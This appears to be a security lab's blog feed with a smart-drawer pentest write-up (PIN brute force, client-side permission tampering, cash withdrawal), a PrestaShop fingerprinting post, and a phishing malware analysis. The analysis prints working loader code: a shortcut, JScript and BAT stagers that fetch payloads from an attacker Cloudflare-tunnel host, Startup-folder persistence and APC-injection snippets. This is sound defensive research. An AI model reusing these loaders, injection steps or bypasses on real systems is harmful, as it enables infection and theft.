GeistHaus
log in · sign up

Labs at ITRES

Part of itresit.es

Cutting-edge offensive and defensive cybersecurity

stories primary
Cashdro Vulnerabilities: From Pentest to Stealing Money
LabsOffensive
By Peter Gabaldon (X / LinkedIn) TL;DR This past summer (2025), during an Ethical Hacking process, we found a Smart Drawer machine for automated payment management. The employees of this recreation center inserts the cash in the machine when a client pays a bill and the machine automatically gives back the change. But, in other […]
Show full content

By Peter Gabaldon (X / LinkedIn)

TL;DR

This past summer (2025), during an Ethical Hacking process, we found a Smart Drawer machine for automated payment management. The employees of this recreation center inserts the cash in the machine when a client pays a bill and the machine automatically gives back the change. But, in other situations, these machines are placed to client-side for self-use. In this scenarios the risk is higher.

After finding it on the network, we were able to gain full administrator privileges on the machine, although “CashDro is the safest smart drawer on the market” . From no auth to full admins and extracting money. Once we were admin we discovered the possibility to extract money using the same box that is used to introduce the money.

From their page:

Here is a picture of the physical machine.

THE BEGINNING

This past summer, in July 2025, we were tasked with an ethical hacking in a Spanish leisure center. The idea was to perform a pentest from a network point of view. That is to say, instead of simulating the compromise of a computer or a user account (identity), simulating the compromise of the network.

As it is a leisure center, it receives thousands and thousands of people every year. Even, the person who is writing this post has spent so many nights in its disco :).

The concern of the client was what could happen if a malicious actor physically visits this center and manages to connect to the network through one of the publicly accessible network parts. At that time, there was no NAC system implemented. While we’re at it, if you have publicly available network ports in your company (if you are a service focused to the public) and do not have a NAC, at least, take down these ports in the switches.

We started to connect to some networks ports, letting Wireshark capture multicast/broadcast traffic and start guessing which type of network we were connecting to: detecting L3 addresses thanks to ARP, detecting devices because of CDP…

This way were able to configure an arbitrary IP address when no DHCP was available and start scanning.

SCANNING THE NETWORK

As we said, this pentest process was focused on the different network ports that were publicly available in the recreation center and that a malicious actor may physically connect to it as there were not NAC (Network Access Control) implemented. After some network ports with different networks we found the most interesting one, even more, with DHCP :).

The parking had a network port hidden by a curtain that was easily accessible for everyone and, thanks to the curtain, easy to hide a device. This network port was switched to an internal VLAN where different workstations of the administration department were connected, plus some printers, plus the Smart Drawer :).

The location of the network port and the curtain made it a very interesting target, as it was easy for any person to access to it and connecting some equipment would be left hidden by the proper curtain.

After scanning the network, we found the Cashdro.

cve-2026-8076: Why passwords? better pin

The first thing to notice in Cashdro system is that it did not make use of password for the panel, only pins. To make things worse, one of the users were using “1234” as PIN. The system did not implement any type of brute force protection. So, having numerical PIN as passwords and no brute force protection makes it a perfect combo for getting arbitrary access to the users.

The following image shows an example of brute forcing the login and finding the PIN “1234” of one user.

But that is not all. Even if you are full administrator, there is a Configuration Management section protected by a static “secret” PIN.

Some search revealed that this PIN was available in some manuals.

So it was possible to access the “hidden” configuration menu using the static PIN.

CVE-2026-8077: AUTHORIZATION? WHAT IS IT?

At a first glance, when gained access with an standard user that was not admin. After poking with the web application we detected that simply no authorization was implemented. Backed did not apply any type of authorization. Simply, when a successful login is performed, the response contains an array with the privileges of the user and the frontend hides the options that the user should not access.

Simply modifying the array in the response and enabling everything shows all the options in the web app. So, essentially, there is not privilege separation, and every user can perform any action.

POST /Cashdro3WS/index.php?name=[***]&operation=login&password=1234 HTTP/1.1Host: [***]Cookie: PHPSESSID=umdeq2tea7d9v82l48jacll7r6User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brOrigin: https://[***]Referer: https://[***]/Cashdro3Web/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originContent-Length: 0Te: trailersConnection: keep-aliveHTTP/1.1 200 OKDate: Thu, 03 Jul 2025 10:11:24 GMTServer: Apache/2.4.7 (Ubuntu)X-Powered-By: PHP/5.5.9-1ubuntu4.14Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONSContent-Length: 358Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/json; charset=utf-8 	{"code":1,"data":{"UserId":"1","Name":"[***]","Password":null,"Permissions":"000111100000010000001010000011100101000000000000000","EMail":" ","NoShowAmount":"0","Type":"1","PasswordHash":null,"PasswordHashSHA":null,"EMailServerHost":null,"EMailServerPort":null,"EMailServerAuth":null,"EMailServerUsername":null,"EMailServerPassword":null,"Guid":null}}

Simply modifying the Permissions’ array with “111111111111111111111111111111111111111111111111111” allows to show all the options by the frontend.

MONEY🤑🤑🤑

“Ok, ok… So beauty, but you said to me that it was possible to extract money and I was reading it because of it”.

More poking with the app revealed the magic button: withdrawal.

Some bills can be configured to go to the internal strongbox. This is commonly configured for big money bills, 100€ and above, for example.

But, the rest are in the standard box and can be extracted simply with this tool.

The application shows the total number of removable money available.

The Smart Drawer contained more bills, but stored in the strongbox that has to be opened manually.

Simply selecting the quantity to extract and clicking accept make the bill appear in the external box.

For the controlled PoC, we extracted 5€.

DEFENSIVE COUNTERMEASURES

First of all, critical assets should be physically protected. In this case the machine contains money. This type of systems must not be easily accessible by unauthorized personnel and they should be recorded by CCTV. At first glance, the Cashdro that we found was not in the field of vision of the camera that should record it. Later, the position was adjusted so the CCTV camera could record it.

Of course, if this type of systems comes with web access, API, or whatever other thing, the same common countermeasures should apply to them:

  • Network protection: segmentation, layer 7 UTM filtering, ZTNA, etc
  • EDR (if possible)
  • Regularly updates
  • Ethical Hacking
  • Non-publishing to internet or other unreliable networks.
conclusion AND FINAL THOUGHTS

This time, it was not a traditional pentest in the sense that we did target physically network ports. But it was a very interesting exercise to focus on what could happen if a attacker physically brings a malicious device like a Raspberry Pi. This remembered me one history for some time ago that I loved from LiveOverflow: Student Finds Hidden Devices in the College Library – Are they nefarious? (https://www.youtube.com/watch?v=UeAKTjx_eKA).

In this pentest we had a combination of misconfigurations by the client with issues by the vendor of the “safest smart drawer on the market”.

Issue IDSectionHigh level summaryCWEPreconditions (as written)User-impact summaryFix direction (short)Issue 1: PIN brute-force / no rate limiting“CVE-…-…: WHY PASSWORDS? BETTER PIN”Panel uses numeric PINs and you report no brute-force protection, enabling account takeover.CWE-307 / CWE-521Network access to panel/API (adjacent network in your story).Unauthorized user access → stepping stone to other actions.Rate limiting, lockout/backoff, stronger auth, monitoring/alerts for failed attempts.Issue 2: Static “secret” configuration PIN (discoverable/public)Paragraph after “Better PIN”A separate configuration menu is gated by a static “secret” PIN, and you state it’s obtainable from manuals.CWE-798Any authenticated admin (per your wording), or anyone who can reach the config prompt plus knows the static PIN.Access to “hidden” configuration functions.Remove shared static secrets; per-device unique secrets; secure recovery; rotate; audit log access.Issue 3: Missing server-side authorization (RBAC bypass / client-side permissions)“CVE-…-…: AUTHORIZATION? WHAT IS IT?”You claim backend doesn’t enforce authorization and the UI is driven by a “privileges array” returned at login; changing it exposes functionality.CWE-863 / CWE-285Authenticated low-priv user (you explicitly mention standard user).Privilege escalation → access to restricted operations (potentially including cash withdrawal).Enforce RBAC server-side on every sensitive operation; never trust client-provided privilege state; add authorization tests.Issue 4: Improper Network Segmentation and protection of network elements“THE BEGINNING / SCANNING THE NETWORK”Publicly accessible ports + no NAC + insecure network segmentation.—Physical access to exposed ports.Network access to critical elements.NAC / 802.1X, disable unused ports, segmentation/firewalling.

Two main ideas should be extracted from this that are so important:

  • Take care of critical components. A smart drawer should not be connected to the same VLAN where people from administration department has their PCs connected, among with printers and so on. Apart from it, in this case that it contains money, protect it physically (camera, own room)…
  • And the other important thing to extract from this, it’s why the h**l a smart drawer contains a web panel (with so poor cybersecurity considerations) that a functionality to EXTRACT MONEY. So, you build a system to safely protect money (a strongbox essentially), but then implement a button to spit out money… think about it🤔. Design decision is as important that the rest of the development phases.

Sometimes we tend to focus in the protection of common IT systems. If you take a look around internet you will find a lot of documentation, writeups and so on about: Active Directory, SQL Injection, XSS… But, IoT and OT systems are critical assets where focus on protecting them must be put on with the same effort.

It is common that this type of systems fails into technical errors in its IT part. For example, in this case, the safe-deposit box it is very robust (you are not breaking it with a hammer), but the IT part is insecure and you can breach it from the web portal… These type of systems tend to put aside the security of its IT part because of centering their efforts on other. The reality is that efforts should be put in all angles.

DISCLOSURE TIMELINE

Note: dates in format DD/MM/YYYY

It was first reported through ZDI, but they finally refused to buy it because they did not had the hardware to test and they were not interested in acquiring them.

  • ZDI decline: 01/08/2025

Then, it has been reported through Spanish’s National Cybersecurity Agency, INCIBE (https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-assignment-publication)

http://labs.itresit.es/?p=1575
Extensions
PrestaShop: The Art of Core Module Fingerprinting
Labsprestashop
By Peter Gabaldon (X / LinkedIn) INTRODUCTION: Prestashop pentest When you are conducting a penetration test or a bug bounty hunt on an e-commerce target, the very first question you need to answer is: “What version of the software am I looking at?” If the target is running PrestaShop, answering that question is notoriously frustrating. […]
Show full content

By Peter Gabaldon (X / LinkedIn)

INTRODUCTION: Prestashop pentest

When you are conducting a penetration test or a bug bounty hunt on an e-commerce target, the very first question you need to answer is: “What version of the software am I looking at?” If the target is running PrestaShop, answering that question is notoriously frustrating. Unlike WordPress, which historically leaks its version in a dozen different <meta> tags and RSS feeds, PrestaShop is designed to keep its core version hidden from the public frontend. If the store owner has good security hygiene, they’ve deleted the README.md, INSTALL.txt, hidden the admin panel, and stripped obvious HTTP headers.

So, how do you find the version when the front door is painted shut? You don’t look at the house; you look at the bricks.

Welcome to the concept of Core Module Fingerprinting.

The Idea: Triangulating the Truth

The core idea behind this reconnaissance technique is: PrestaShop native modules are rarely updated in a vacuum.

PrestaShop is a modular ecosystem. When the developers release a specific version of the core platform (let’s say, version 1.7.2.5), that release is bundled with a highly specific set of “native” or “core” modules out of the box.

Instead of trying to find a magic string that says “PrestaShop 1.7.2.5”, hunt for the orbiting satellites. For example, look for ps_facetedsearch version 2.0.0, contactform version 3.0.0, and sekeywords version 2.0.0.

Identifying the versions of 10, 20, or 30 of these native modules, we can cross-reference that list against PrestaShop’s historical release manifests (like the composer.lock files on their public GitHub) to triangulate the exact core version.

Why It Works

This technique relies on one fundamental behavior:

  1. On the whole: Normally, native modules are not updated one by one in an isolated way. A PrestaShop core version will contain a set of native modules in some exact version.

And also:

  1. Administrative Laziness: Updating an e-commerce store is risky. Things break, themes clash, and payment gateways go down. Because of this, many store owners adopt an “if it ain’t broke, don’t fix it” mentality. They install the platform and then never touch it again. This means the native modules remain frozen in the exact state they were in on release day, creating a perfect, untouched fingerprint.
Why It Can Fail

As elegant as fingerprinting sounds in theory, the real world of e-commerce hosting is messy. This technique is a probabilistic science, not an absolute one, and it can fail for several reasons:

  • Independent Module Updates: PrestaShop allows administrators to update modules independently of the core platform. A store owner might be terrified of updating the core from 1.7.2 to 1.7.8, but they might casually click “Update” on the ps_facetedsearch module in their dashboard. This introduces “noise” into your data, where a module version belongs to the future while the core remains in the past.
  • Premium Theme Overrides: Many commercial themes completely rip out the default PrestaShop modules and replace them with their own proprietary sliders, search bars, and menus. If the native modules aren’t loaded on the frontend, you have nothing to fingerprint.
  • Module Deletion: Good administrators delete modules they aren’t using to reduce their attack surface. Fewer modules mean fewer data points for your triangulation.
Automating the Hunt: The Tool

A Python script was developed to help in this task, ps_version_hunter.py, takes an active reconnaissance approach. It leverages the fact that PrestaShop’s native modules almost always contain a config.xml file at their root, a file that developers often forget to block from public access.

Here is how the script operates:

1. Baseline Fetching (composer.lock) First, the script reaches out to the official PrestaShop GitHub repository and pulls down the composer.lock file for a specific release tag (e.g., 1.7.2.5). It parses this file to extract a list of every official prestashop-module bundled with that release, alongside the exact commit hash for each module.

2. Repository Truth Extraction For every module found in the lockfile, the script fetches the raw config.xml directly from GitHub using that specific commit hash. It parses the XML tree, extracts the <version> tag, and builds a definitive baseline of what the module versions should be for that PrestaShop release.

3. Active Target Cross-Referencing If you provide a target URL (--url), the script shifts from passive analysis to active enumeration. It systematically constructs the path for every native module on the live target (e.g., https://target.com/modules/contactform/config.xml) and fires off an HTTP GET request.

4. The Matrix Comparison & Confidence Scoring When the live config.xml is successfully retrieved, the script parses the target’s version and compares it side-by-side with the GitHub baseline. It outputs a clean, scannable matrix in the terminal.

Finally, it calculates a confidence score. For example, if 52 out of 54 modules are exposed and perfectly match the 1.7.2.5 baseline, the script declares a match. If there are discrepancies, it flags a mismatch, telling you exactly which modules have been independently updated by the administrator.

It can then be run versus a live site using –url parameter and compare the current version of the native modules of the queried site vs the ones shipped with that PrestaShop’s version on Github.

conclusion

By looking at the exhaust fumes of a PrestaShop instance we can reconstruct the architecture of the server.

While it isn’t foolproof, when it works, it is the skeleton key to your engagement. Knowing the exact version allows you to stop throwing blind payloads and start searching for specific, highly critical CVEs tailored to that exact environment. In the world of web security, context is everything.

http://labs.itresit.es/?p=2515
When Bills Come with Surprise: Donut of Python and Rat🤮
Labs
By Peter Gabaldon (X / LinkedIn) A thought REGARDING AI Before getting in depth with the post, I would like to make a thought regarding AI. This malware analysis has been performed in a record time thanks to ChatGPT. As you will see, the final shellcode is a Donut-generated shellcode. When first met the encrypted […]
Show full content

By Peter Gabaldon (X / LinkedIn)

A thought REGARDING AI

Before getting in depth with the post, I would like to make a thought regarding AI. This malware analysis has been performed in a record time thanks to ChatGPT. As you will see, the final shellcode is a Donut-generated shellcode. When first met the encrypted shellcode, it was fully pasted into ChatGPT for analysis. After 26 minutes it solely found that it was a Donut shellcode, wrote a Python script to extract the embedded executable and provided the full .NET executable that was used in the generation of the shellcode.

I do not know if, in five years from now, AI will fully take over some of our current jobs, but what is clear and without a doubt is that AI is changing the game and it is a crucial piece in the current scene of DFIR, reverse engineering, malware analysis… Even this preamble, was reviewed by Gemini.

SUMMARY

This analysis breaks down a highly evasive, multi-stage malware infection chain designed to bypass traditional file-based detection and operate almost entirely within memory. Beginning with a deceptive phishing lure, the attack leverages a complex sequence of redirections and native Windows capabilities to deliver a hidden .NET payload.

Instead of relying on conventional executable attachments, the threat actor utilized an Internet Shortcut (.url) file to access malicious infrastructure hosted via a WebDAV path over a Cloudflare tunnel. From there, the attack seamlessly transitioned through multiple lightweight script-based loaders—including Windows Script Host (.wsh), JScript, and batch (.bat) files—before downloading an embeddable Python runtime to execute the critical injection phase.

The core of this attack’s sophistication lies in its transition from disk-based staging to memory-resident execution. By utilizing Early Bird APC injection and a Donut-based loader, the attackers successfully executed a fully managed .NET payload within an injected explorer.exe process, leaving minimal on-disk artifacts.

Key Characteristics of the Attack
  • Initial Access: Phishing URLs utilizing open redirects (e.g., Google App links) to deliver a ZIP archive containing a malicious .url file.
  • Infrastructure: Abuse of Cloudflare tunnels and WebDAV for remote payload staging and retrieval.
  • LotL Abuse: Extensive use of native Windows binaries and scripts (.wsh, Jscript, cmd.exe) to orchestrate the infection chain.
  • Decoy & Persistence: Deployment of a benign PDF to distract the victim while establishing logon persistence via the Startup folder.
  • In-Memory Evasion: Use of a downloaded Python runtime to decode payloads and perform Early Bird APC injection into a suspended legitimate process (explorer.exe).
  • Advanced Loading: Utilization of a Donut-based shellcode loader to execute the final encrypted and compressed .NET payload entirely from memory.
Attack Staging Breakdown
Infection StagePrimary Technique / ToolingObjectiveDeliveryPhishing email, Open Redirects, .url fileBypass perimeter defenses and trick user execution.StagingWebDAV, Cloudflare TunnelRetrieve subsequent payloads remotely and securely.Execution.wsh, JScript, .batEstablish a foothold using native Windows scripting.PersistenceStartup folder (.bat), Decoy PDFMaintain access across reboots without raising suspicion.InjectionPython runtime, Early Bird APCTransition to memory-resident execution within explorer.exe.Final PayloadDonut shellcode, In-memory .NET PEExecute the core malware with minimal forensic visibility.
INITIAL ACCESS

The intrusion began with a deceptive phishing email that relied on a malicious link rather than a direct attachment. The initial URL presented to the victim was:

https://adcq9[.]app[.]goo[.]gl/?link=https%3A%2F%2Ft.co%2FkKRdTB5AeT

This link functioned as an intermediary redirector. By chaining URLs, the threat actor achieved several objectives:

  • Obfuscation: It created distance between the original email and the final payload host.
  • Agility: It allowed the attacker to independently rotate components of the campaign (e.g., updating the final payload location while keeping the original phishing email intact).
  • Evasion: It complicated manual review and bypassed simple reputation-based email filters by introducing transient, seemingly benign layers.

Ultimately, this redirect chain led the victim to an attacker-controlled or compromised web resource: https://baraltransportes[.]com/20khgc26oiwefoibfuww.php. By the time the user reached this page, the attack had transitioned from social engineering into active payload delivery.

Actually, the root also downloaed the same ZIP file (https://baraltransportes[.]com).

FIRST STAGE

The final landing page delivered a ZIP archive deliberately named to simulate a financial bill: Fac_2026_7065150059.zip.

This filename mimics standard invoice or accounting documentation, a classic lure designed to manipulate corporate users into opening the file. The attacker kept the initial artifact lightweight to minimize the presence of obvious malware and fly under the radar of immediate endpoint detection.

The First-Stage Payload: Internet Shortcut (.url) Abuse

Extracting the ZIP archive revealed a single, visually unremarkable file: Fac_2026_8505769465.url.

The contents of this Internet Shortcut were minimal but highly effective:

[InternetShortcut] URL=file://offset-character-purposes-midlands.trycloudflare.com@SSL/DavWWWRoot/tgpzdcv.wsh

This tiny file represents the first true payload stage of the infection. Its purpose was to initiate the malicious code execution chain. It pivot the victim’s system toward attacker-controlled infrastructure. This intentional separation of delivery and execution is a hallmark of evasive staging.

WebDAV and Cloudflare Tunnel Pivoting

The destination referenced within the .url file is the most critical aspect of this initial stage. It reveals two main implementation choices:

  1. WebDAV Semantics (@SSL/DavWWWRoot): Rather than pointing to a standard HTTP/HTTPS resource, the shortcut referenced a file:// path using a UNC-style WebDAV location. This forced the victim’s Windows OS to use native, trusted components to reach out to the remote file as if it were on a local network share.
  2. Cloudflare Tunneling (trycloudflare.com): The infrastructure was exposed through an ephemeral Cloudflare tunnel rather than a traditional standalone server. This granted the attacker the legitimacy of a widely trusted service while perfectly concealing their true backend infrastructure.

Operationally, this Internet Shortcut served as the exact pivot point from the phishing delivery chain into the active malware staging environment. , The remote Windows Script Host (.wsh) file initiates the next phases of the attack.

Second-Stage Payload: Windows Script Host (.wsh)

The next stage retrieved through the malicious Internet Shortcut was a Windows Script Host settings file. Its content was remarkably concise, serving a single, highly specific purpose: instructing the Windows Script Host engine to load and execute a remote JScript file.

[ScriptFile]

Path=\\offset-character-purposes-midlands.trycloudflare.com@SSL\DavWWWRoot\eqzecng.js

[Options]

UseEngine=JScript

Unlike a conventional script that contains its execution logic directly within the file, this .wsh artifact acted purely as a launcher. It defined the path to the actual script and explicitly forced the use of the JScript execution engine.

The Path field pointed to a remote resource exposed through the exact same WebDAV path observed in the previous stage. By continuing to rely on native Windows support for UNC-style remote file access over SSL-backed WebDAV, the attacker avoided packaging the JavaScript inside the ZIP or embedding it directly into the WSH file.

This modular design offers significant operational advantages to the attacker. It reduces the footprint of the downloaded artifacts, allows the hosted script to be swapped out without modifying the delivery stages, and heavily leans on “Living off the Land” (LotL) techniques. Nothing in the WSH file required a custom executable or an unusual runtime; the operating system’s built-in script-handling capabilities were more than sufficient to advance the intrusion.

Third-Stage Payload: JScript Loader (.js) File Copy and Staging Behavior

The remote JScript file referenced by the WSH stage functioned as a simple but highly effective loader. Its logic was strictly limited to the operations necessary to retrieve and launch the next stage of the infection chain.

Based on the recovered artifact, the script executes the following logic:

var fso = new ActiveXObject("Scripting.FileSystemObject");var shell = new ActiveXObject("WScript.Shell");var file = "\\\\offset-character-purposes-midlands.trycloudflare.com@SSL\\DavWWWRoot\\okizxtt.bat"; var dst = shell.ExpandEnvironmentStrings("%USERPROFILE%\\Downloads\\") + fso.GetFileName(file);fso.CopyFile(file, dst, true);shell.Run('cmd /c "' + dst + '"', 1, false);

The script begins by instantiating two standard COM objects (Scripting.FileSystemObject and WScript.Shell). These objects provide native access to file copy operations and shell execution without requiring external tooling.

Using the current user’s profile as a local staging location, the script copies the next-stage batch (.bat) file from the remote WebDAV share directly into the local Downloads directory. This is a critical behavioral pivot: the JavaScript does not perform complex malicious actions itself, but acts strictly as a delivery bridge between the remote WebDAV infrastructure and local execution.

Execution of the BAT Payload

Immediately after copying the file locally, the JScript triggers its execution using a native command shell: cmd /c "<path_to_downloaded_bat>".

This marks the first point in the infection chain where a locally written payload is launched as a separate process.

Ultimately, the JScript stage had two narrow responsibilities: retrieve the .bat file and trigger it. It made no attempts to maintain persistence, perform process injection, or directly unpack the final malware. By keeping each stage narrowly focused, the attacker ensures that the failure or detection of one small component is less likely to expose the entire execution chain. Once the BAT file is launched, the intrusion upgrades to a much more capable platform for installation and in-memory payload preparation.

Fourth-Stage Payload: BAT Installer and Stager

Once the JScript loader successfully dropped and executed the first batch file, the infection transitioned into its primary installation phase. This script is highly modular and relies heavily on PowerShell (powershell.exe) to orchestrate downloads, extraction, and execution.

Here is the complete content of the primary staging BAT file:

@echo offif not "%~1"=="h" ( start "" "https://www.ihk.de/blueprint/servlet/resource/blob/5581278/1cafa7f203df9d83e050d9f01677ffe6/rechnung-kleinunternehmer-data.pdf"    powershell -WindowStyle Hidden -Command "Start-Process -FilePath '%~f0' -ArgumentList 'h' -WindowStyle Hidden"    exit /b)set "TARGET_DIR=%LOCALAPPDATA%\dlmmx":: Download and extract Python if not existsif not exist "%TARGET_DIR%\python.exe" (    echo Downloading and extracting Python...    powershell -Command "iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip' -OutFile '%TEMP%\p.zip'"    powershell -Command "Expand-Archive '%TEMP%\p.zip' '%TARGET_DIR%' -Force"):: Download wind.bat to startup folderpowershell -Command "iwr 'https://offset-character-purposes-midlands.trycloudflare.com/keckjpj.bat' -OutFile '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\keckjpj.bat'":: Download required files from /ab/ folderpowershell -Command "iwr 'https://offset-character-purposes-midlands.trycloudflare.com/ab/sb.py' -OutFile '%TARGET_DIR%\sb.py'"powershell -Command "iwr 'https://offset-character-purposes-midlands.trycloudflare.com/ab/new.bin' -OutFile '%TARGET_DIR%\new.bin'"powershell -Command "iwr 'https://offset-character-purposes-midlands.trycloudflare.com/ab/a.txt' -OutFile '%TARGET_DIR%\a.txt'":: Run the Python scriptcd /d "%TARGET_DIR%" && python sb.py -i new.bin -k a.txt
Decoy Deployment and Hidden Execution

The script immediately employs a clever self-hiding mechanism. It checks if the script was launched with the argument h. If it wasn’t (which is the case when initially launched by the JScript loader), it performs two actions:

  1. Decoy Document: It opens a legitimate German invoice template (rechnung-kleinunternehmer-data.pdf) hosted on a legitimate domain (ihk.de). This distracts the user, aligning perfectly with the initial Fac_2026...zip invoice lure: https://www.ihk.de/blueprint/servlet/resource/blob/5581278/1cafa7f203df9d83e050d9f01677ffe6/rechnung-kleinunternehmer-data.pdf
  1. Hidden Relaunch: It uses PowerShell to relaunch itself (%~f0), this time passing the h argument and enforcing a hidden window style. The visible command prompt then exits, leaving the malicious installation running invisibly in the background.
Environmental Setup and Python Acquisition

Once running in hidden mode, the script establishes a staging directory at %LOCALAPPDATA%\dlmmx.

In a textbook Living-off-the-Land (LotL) maneuver, the attacker does not package a bulky runtime with the malware. Instead, the script reaches out to the official python.org repository to download a legitimate, embeddable Python 3.14.0 distribution. It drops the ZIP archive in the %TEMP% directory and expands it into the staging folder. By using a trusted, digitally signed binary from a highly reputable source, the attacker drastically reduces the likelihood of triggering heuristic or reputation-based alerts.

Staging the Core Payload and Execution

With the Python environment prepared, the script uses PowerShell’s Invoke-WebRequest (iwr) to pull three critical components from the attacker’s Cloudflare-tunneled WebDAV infrastructure:

  • sb.py: The Python injector script.
  • new.bin: The encoded payload blob.
  • a.txt: The key file used to decode the payload.

Finally, the script navigates to the staging directory and executes the Python script, passing the encrypted payload and key file as arguments. This command officially hands over the execution chain to the Python runtime.

Note that the second bat is downloaded to the startup folder to maintain persistence.

Fifth-Stage Payload: Persistence BAT (keckjpj.bat)

During the execution of the primary staging script, a secondary batch file (keckjpj.bat) was downloaded directly into the user’s Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\). This establishes logon persistence, ensuring the malware survives a system reboot.

The contents of this persistence script are heavily based on the staging script, stripped down to purely execution logic:

@echo offif not "%~1"=="h" (    powershell -windowstyle hidden -command "Start-Process '%~f0' -ArgumentList 'h' -WindowStyle Hidden"    exit /b)set "target=%LOCALAPPDATA%\dlmmx"cd /d "%target%"start /b "" python.exe sb.py -i new.bin -k a.txt
Silent Re-Execution

Like its predecessor, this script utilizes the h argument trick to hide the command prompt window upon startup. Once hidden, it simply sets the target directory variable, navigates to %LOCALAPPDATA%\dlmmx, and uses the start /b "" command to silently launch the embedded Python executable, passing the payload and key files to sb.py exactly as the initial installer did. The option /b is used to not spawn a new Command Prompt.

By separating the downloader/installer from the persistence trigger, the threat actor ensures that the startup process is lightweight and doesn’t generate unnecessary network traffic (like re-downloading Python) on every boot.

Sixth-Stage Payload: Python Injector (sb.py)

Once the batch installer completed its staging routine, it handed execution over to a Python script named sb.py. This marked a pivotal transition in the attack: earlier stages were focused on delivery, environmental staging, and persistence, whereas sb.py introduced direct in-memory payload preparation and remote process injection.

Argument Structure and Execution Flow

The script was designed to be modular and accepted several command-line arguments:

  • -i / --input: The protected payload file.
  • -k / --key-file: The transformation key file.
  • -p / --process: The target process name (defaults to explorer.exe).
  • -c / --compressed: An optional flag indicating the payload requires decompression.

In the observed execution chain, the malware launched the script using python sb.py -i new.bin -k a.txt. This operational design deliberately separated the payload preparation from the final execution context. In summary, the Python script executed acts as a shellcode loader.

Multi-Layer XOR Transformation

The injector’s first critical task was decoding the protected payload (new.bin) using keys extracted from a.txt.

# --- Multi-layer XOR with obfuscation ---def transform_data(data, transformations):    result = data    for transform in reversed(transformations):        result = bytes(b ^ transform[i % len(transform)] for i, b in enumerate(result))    return result

The script parsed hexadecimal keys from the text file and applied a sequence of XOR transformations across the payload buffer. While XOR is cryptographically simple, it is highly effective at defeating superficial triage and basic file inspection. Furthermore, by splitting the encrypted blob and the decryption keys into separate files downloaded independently, the threat actor significantly reduced the value of recovering any single component in isolation.

Process Creation and Remote Memory Allocation

After reconstructing the final payload in memory, sb.py utilized Python’s ctypes library to interact directly with the Windows API, acting as a fully functional malware injector.

The Dynamic Analysis at runtime allowed to recover directly from memory the “decrypted” shellcode.

The script targeted explorer.exe by default, using CreateProcessA to spawn a new instance with the CREATE_SUSPENDED flag (0x00000004). Creating a suspended process is a classic and highly effective injection technique, granting the malware total control over the process memory space before normal execution begins. Targeting explorer.exe also allows the malicious activity to blend more easily into normal userland telemetry.

With the target suspended, the script allocated a new memory region using VirtualAllocEx with PAGE_EXECUTE_READWRITE (0x40) permissions. It then wrote the decoded payload directly into that remote address space using WriteProcessMemory.

Early Bird APC Injection

To trigger the payload, it utilized Early Bird APC Injection.

    print("[*] Queueing asynchronous procedure call")
    result = QUA(alloc_addr, pi.hThread, 0) # QueueUserAPC
    # ... error handling ...

    print("[+] Triggering payload execution")
    RT(pi.hThread) # ResumeThread

By using QueueUserAPC, the script scheduled the execution of the remote buffer in the primary thread of the suspended process. When ResumeThread was called, the process initialization continued, and the queued Asynchronous Procedure Call was immediately delivered. At this moment, the malware completely transitioned from disk-based scripting to fileless, in-memory execution.

Memory Forensics and Shellcode Recovery

The payload was recovered directly from memory analyzing at runtime the injection to the suspended explorer.exe.

Locating and Dumping the Payload

During debugging, the precise memory range of the injected payload was identified by observing the base address and size parameters passed to WriteProcessMemory. This allowed for a clean extraction of the memory segment directly from the suspended explorer.exe process using WinDbg.

Dumping the APC payload produced a raw binary representing exactly what the Python script had unpacked.

The APC Thread Context Challenge

A common pitfall during memory analysis of Early Bird APC injection is the thread context. Inspection of the resumed thread’s handle often shows a legitimate-looking start routine rather than the address of the injected malicious buffer.

This occurs because the thread’s official start address still reflects the benign routine assigned by the OS during process creation. The malicious payload is queued separately as an APC routine. Understanding this distinction is vital for analysts: the thread metadata may appear benign, and the execution target must be identified through memory write tracking or queued APC parameters rather than superficial handle inspection.

Seventh-Stage Payload: Donut Shellcode

Analysis of the dumped APC buffer revealed a critical detail: it was not a simple, hand-written shellcode stub, but a fully weaponized in-memory loader generated using the Donut framework.

Donut Architecture and Embedded Modules

Donut is a powerful shellcode generator designed to package Windows executables, assemblies, or scripts into position-independent shellcode. The recovered buffer exhibited Donut’s classic structure: a position-independent execution stub followed by a larger data region containing an embedded, encrypted module.

This explained why the extracted memory did not immediately resemble a conventional Portable Executable (PE). The Donut instance acted as yet another abstraction layer. Once injected and executed via APC, the Donut loader took over the responsibility of resolving dependencies, decrypting its internal payload, and launching it entirely in memory.

Final Extraction

The recovered artifact from Donut’s shellcode loader was a .NET executable. Through the use of Donut, the threat actor ensured that this final .NET payload never touched the disk, severely restricting forensic visibility and highlighting the sophistication of the complete infection chain.

Eighth-Stage Payload: Extracting the Final .NET Executable

To analyze the final payload, we needed to extract the embedded .NET executable from the Donut shellcode dumped from the APC buffer. Donut employs specific encryption and compression routines to protect its embedded modules, requiring a custom script to parse the instance, decrypt the data, and decompress the final PE file.

